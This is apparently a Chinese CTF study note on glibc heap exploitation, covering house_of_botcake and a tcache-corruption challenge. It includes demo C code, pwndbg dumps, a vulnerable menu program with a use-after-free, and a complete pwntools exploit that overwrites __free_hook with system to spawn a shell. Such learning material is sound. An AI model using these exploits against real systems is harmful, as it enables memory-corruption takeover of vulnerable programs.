总结 对于没有tcache的glibc版本而言,我们需要连续伪造两块size合法的chunk,并且第二块chunk的size并不需要满足fastbin的要求,只要满足合法的size即可
本程序首先初始话了一下堆,然后申请了两个变量,一个是我们即将攻击的变量 a,另一个是我们的fake_chunks
程序先在fake_chunks[1]的地方也就是size域伪造了合法的size,0x40(满足fastbin size大小,与16字节对齐,标志位正确)
之后又在下一处伪造了第二个chunk,即从fake_chunks[8]开始的地方,这是为什么呢,因为我们第一个fake chunk的size伪造成了0x40,那么我们第二个chunk就需要在向下0x40的地方也就是fake_chunks+8的地方伪造第二个chunk
house_of_botcake 本攻击可以bypass glibc 新增加的一些限制,如果libc没有该限制,我们可以直接用double free来做更简单的tcache poisoning了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <assert.h> int main () { setbuf(stdin , NULL ); setbuf(stdout , NULL ); puts ("house_of_botcake 是针对 glibc2.29 对 tcache double free 做出限制以后提出的利用方法" ); intptr_t stack_var[4 ]; printf ("我们希望 malloc 到的地址是 %p.\n\n" , stack_var); puts ("malloc 7 个 chunk 以便稍后填满 tcache" ); intptr_t *x[7 ]; for (int i=0 ; i<sizeof (x)/sizeof (intptr_t *); i++){ x[i] = malloc (0x100 ); } intptr_t *prev = malloc (0x100 ); printf ("malloc(0x100): prev=%p. 待会用\n" , prev); intptr_t *a = malloc (0x100 ); printf ("再 malloc(0x100): a=%p. 作为攻击的 chunk\n" , a); puts ("最后 malloc(0x10) 防止与 top chunk 合并\n" ); malloc (0x10 ); puts ("接下来构造 chunk overlapping" ); puts ("第一步: 填满 tcache 链表" ); for (int i=0 ; i<7 ; i++){ free (x[i]); } puts ("第二步: free 掉 chunk a,放入 unsorted bin 中" ); free (a); puts ("第三步: 释放掉 chunk prev 因为后面是一个 free chunk,所以他会与 chunk a 合并" ); free (prev); puts ("第四步: 这时候已经没有指向 chunk a 的指针了,从 tcache 中取出一个,然后再次 free(a) 就把 chunk a 加入到了 tcache 中,造成了 double free \n" ); malloc (0x100 ); free (a); puts ("再去 malloc 一个 0x120 会从 unsorted bin 中分割出来,也就控制了前面已经合并的那个 chunk a 了" ); intptr_t *b = malloc (0x120 ); puts ("把 chunk a 的 next 指针给改为前面声明的 stack_var 的地址" ); b[0x120 /8 -2 ] = (long )stack_var; malloc (0x100 ); puts ("再去 malloc 一个就能申请到 stack_var 了" ); intptr_t *c = malloc (0x100 ); printf ("新申请的 chunk 在:%p\n" , c); return 0 ; }
分析:
从31行开始,这里free了7个chunk是为了填满tcache
再free(a),使a放入unsortedbin中,再free(prev),使再unsortedbin中的chunk a和chunk prev合并,实现chunk_overlapping,以至于此时bins中并没有chunk a的信息(chunk a的prev_size在0x555555603ad0)如下:
1 2 3 4 5 6 7 pwndbg> bins tcachebins 0x110 [ 7]: 0x5555556038c0 —▸ 0x5555556037b0 —▸ 0x5555556036a0 —▸ 0x555555603590 —▸ 0x555555603480 —▸ 0x555555603370 —▸ 0x555555603260 ◂— 0x fastbins empty unsortedbin all: 0x5555556039c0 —▸ 0x7ffff7dcdca0 (main_arena+96) ◂— 0x5555556039c0
执行了38行的malloc(0x100),使tcachebins中腾出了一个位置
1 2 3 4 5 6 7 pwndbg> bins tcachebins 0x110 [ 6]: 0x5555556037b0 —▸ 0x5555556036a0 —▸ 0x555555603590 —▸ 0x555555603480 —▸ 0x555555603370 —▸ 0x555555603260 ◂— 0x0 fastbins empty unsortedbin all: 0x5555556039c0 —▸ 0x7ffff7dcdca0 (main_arena+96) ◂— 0x5555556039c0
执行了39行过后,chunk a就被放入了tcachebins中,这就实现了double_free ,一个在tcachebins中一个在unsortedbins
1 2 3 4 5 6 7 pwndbg> bins tcachebins 0x110 [ 7]: 0x555555603ae0 —▸ 0x5555556037b0 —▸ 0x5555556036a0 —▸ 0x555555603590 —▸ 0x555555603480 —▸ 0x555555603370 —▸ 0x555555603260 ◂— 0x0 fastbins empty unsortedbin all: 0x5555556039c0 —▸ 0x7ffff7dcdca0 (main_arena+96) ◂— 0x5555556039c0
执行了42行后,修改了chunk a的next指针此时chunk a的情况:
1 2 3 4 5 6 pwndbg> x/48gx 0x555555603ad0 0x555555603ad0: 0x0000000000000000 0x0000000000000111 0x555555603ae0: 0x00007fffffffe380 0x0000555555603010 0x555555603af0: 0x0000000000000000 0x00000000000000f1 0x555555603b00: 0x00007ffff7dcdca0 0x00007ffff7dcdca0 0x555555603b10: 0x0000000000000000 0x0000000000000000
同样bins也发生了变化,此时的bins:
1 2 3 4 5 6 7 8 pwndbg> bins tcachebins 0x110 [ 7]: 0x555555603ae0 —▸ 0x7fffffffe380 ◂— 9 /* '\t' */ fastbins empty unsortedbin all: 0x555555603af0 —▸ 0x7ffff7dcdca0 (main_arena+96) ◂— 0x555555603af0 smallbins
最终,我们在连续申请两个chunk就能得到&stack_var
的哪个chunk。
实战中,我们的stacke_var可以是任意地址
总结 本例即是通过构造一个chunk_overlapping来辅助我们double free一个tcache chunk,从而得到任意地址分配的效果
首先程序先在栈上声明了一个变量
之后申请了7个大小为0x100的chunks来为后面填满tcache来做准备
然后申请了3个chunk ,prev(0x100),a(0x100)还有用于防止后面我们释放a时a和top chunk合并的一个chunk(0x10)
到此准备工作就结束了;
下面程序free掉了之前我们申请的那7个chunk来填满我们的tcache
之后程序free掉了a,a被放入了unsorted bin中
此时我们在free prev,由于a,prev相邻,因此二者合并成了一个大chunk,同样被放进了unsorted bin中
此时free list上就没有了a的信息
现在程序从tcache中取出一个chunk,tcache中就有了一个空位,我们再次free a,就会把我们的a放到tcache中了
此时,我们的a既在tcache中,又在unsortedbin的大chunk中
也就是完成了一个double free (若还有修改功能到这里我们就可以做我们想做的事了)
之后程序malloc了b(0x120),由于unsortedbin中的chunk大小大于0x120,因此做了一个切割,并把剩下的部分留在unsorted bin中
此时的b是从之前prev的位置开始的,因此我们通过覆写b来将我们a的fwd指针指向栈上
此时,我们再申请两次就可以分配到栈上的地址了
例题 tcache_corruption+dup — libc 2.27 one
tcache_corruption — libc 2.29 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 #include <stdio.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #define LENGTH 22 char * nodes[LENGTH];void inital () { setvbuf(stdin , NULL , _IONBF, 0 ); setvbuf(stdout , NULL , _IONBF, 0 ); setvbuf(stderr , NULL , _IONBF, 0 ); alarm(0xffff ); } void welcome () { puts ("Tcache Corruption - Two" ); } void menu () { puts ("1. add" ); puts ("2. delete" ); puts ("3. show" ); puts ("4. exit" ); printf ("Your choice: " ); } int read_n (char * buf, int size) { int result; result = read(STDIN_FILENO, buf, size); if (result <= 0 ) { exit (0 ); } return result; } unsigned int get_int () { char buf[0x10 ]; int result; result = read_n(buf, sizeof (buf) - 1 ); buf[result] = 0 ; return atoi(buf); } void add () { unsigned int size, index = -1 , i, result; for (i = 0 ; i < LENGTH; i++) { if (!nodes[i]) { index = i; break ; } } if (index == -1 ) { puts ("Out of space!" ); return ; } printf ("Size: " ); size = get_int(); if (size > 0x400 ) { puts ("Invalid size!" ); return ; } nodes[index] = malloc (size); printf ("Content: " ); result = read_n(nodes[index], size); if (nodes[index][result - 1 ] == '\n' ){ nodes[index][result - 1 ]='\0' ; } } void delete () { unsigned int index = -1 ; printf ("Index: " ); index = get_int(); if (index >= LENGTH || !nodes[index]) { puts ("Invalid index!" ); return ; } free (nodes[index]); } void show () { for (int i = 0 ; i < LENGTH; i++) { if (nodes[i]) { printf ("Index %d: %s\n" , i, nodes[i]); } } } int main () { inital(); welcome(); while (1 ) { menu(); unsigned int choice = get_int(); switch (choice) { case 1 : add(); break ; case 2 : delete(); break ; case 3 : show(); break ; case 4 : exit (0 ); default : puts ("Invalid choice!" ); break ; } } return 0 ; }
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *import timecontext.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='amd64' , os='linux' ) file_name = './pwn1' if args['G' ]: p = remote('' , ) else : p = process(file_name) p = process(file_name) elf = ELF(file_name) libc = elf.libc gdb.attach(p) s = lambda data :p.send(data) sa = lambda delim, data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim, data :p.sendlineafter(delim, data) r = lambda num=4096 :p.recv(num) ru = lambda delims :p.recvuntil(delims) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 , b'\x00' )) uu64 = lambda data :u64(data.ljust(8 , b'\x00' )) leak = lambda name, addr :log.success('{} = {:#x}' .format (name, addr)) lg = lambda address, data :log.success('%s: ' % (address) + hex (data)) menu = b"Your choice: " def add (size,content ): sla(menu,b'1' ) sla(b'Size: ' ,str (size).encode()) sla(b'Content: ' ,content) def show (idx ): sla(menu,b'3' ) sla('Index: ' ,str (idx)) def delete (idx ): sla(menu,b'2' ) sla(b'Index: ' ,str (idx)) for i in range (9 ): add(0x68 ,b'aaaa' ) for i in range (9 ): delete(i) delete(7 ) show(1 ) ru(b'Content: ' ) data = uu64(r(6 )) lg('data' ,data) heap = data - 0x260 lg('heap' ,heap) for i in range (7 ): add(0x68 ,b'aaaa' ) add(0x68 ,p64(heap+0x10 )) add(0x68 ,b'aaaa' ) add(0x68 ,b'aaaa' ) payload = b'\x00' *0x23 +b'\xff' add(0x68 ,payload) show(19 ) delete(19 ) show(19 ) ru(b'Content: ' ) data = uu64(r(6 )) lg('main_arena+96' ,data) libc_base = data - 96 - (libc.sym['__malloc_hook' ] + 0x10 ) lg('libc_base' ,libc_base) add(0xf8 ,b'\x00' *0x40 +p64(libc_base+libc.sym['__free_hook' ]-8 )) add(0x18 ,b'/bin/sh\x00' +p64(libc_base+libc.sym['system' ])) delete(21 ) itr()
tcache中的偏移,与存放chunk_size的大小
疑问一:为什么这里payload = b'\x00'*0x23+b'\xff'
在此处pwndbg中,tcache_prethread_struct的chunk内存,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pwndbg> x/24gx 0x555555606000 0x555555606000: 0x0000000000000000 0x0000000000000251 0x555555606010: 0x0000000000000000 0x0000000000000000 0x555555606020: 0x0000000000000000 0x0000000000000000 0x555555606030: 0x00000000ff000000 0x0000000000000000 0x555555606040: 0x0000000000000000 0x0000000000000000 0x555555606050: 0x0000000000000000 0x0000000000000000 0x555555606060: 0x0000000000000000 0x0000000000000000 0x555555606070: 0x0000000000000000 0x0000010000000000 0x555555606080: 0x0000000000000000 0x0000000000000000 0x555555606090: 0x0000000000000000 0x0000000000000000 0x5555556060a0: 0x0000000000000000 0x0000000000000000 0x5555556060b0: 0x0000000000000000 0x0000000000000000 pwndbg> bins tcachebins 0x70 [ 0]: 0x10000000000 0x250 [ -1]: 0 fastbins empty
1 2 3 4 5 6 7 8 9 10 typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; # define TCACHE_MAX_BINS 64 static __thread tcache_perthread_struct *tcache = NULL ;
疑问二:b'\x00'*0x40+p64(libc_base+libc.sym['__free_hook']-8)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pwndbg> x/24gx 0x555555606000 0x555555606000: 0x0000000000000000 0x0000000000000101 0x555555606010: 0x0000000000000000 0x0000000000000000 0x555555606020: 0x0000000000000000 0x0000000000000000 0x555555606030: 0x0000000000000000 0x0000000000000000 0x555555606040: 0x0000000000000000 0x0000000000000000 0x555555606050: 0x00007ffff7fc65a0 0x0000000000000000 0x555555606060: 0x0000000000000000 0x0000000000000000 0x555555606070: 0x0000000000000000 0x0000010000000000 0x555555606080: 0x0000000000000000 0x0000000000000000 0x555555606090: 0x0000000000000000 0x0000000000000000 0x5555556060a0: 0x0000000000000000 0x0000000000000000
参考博客 ctf-wiki,知世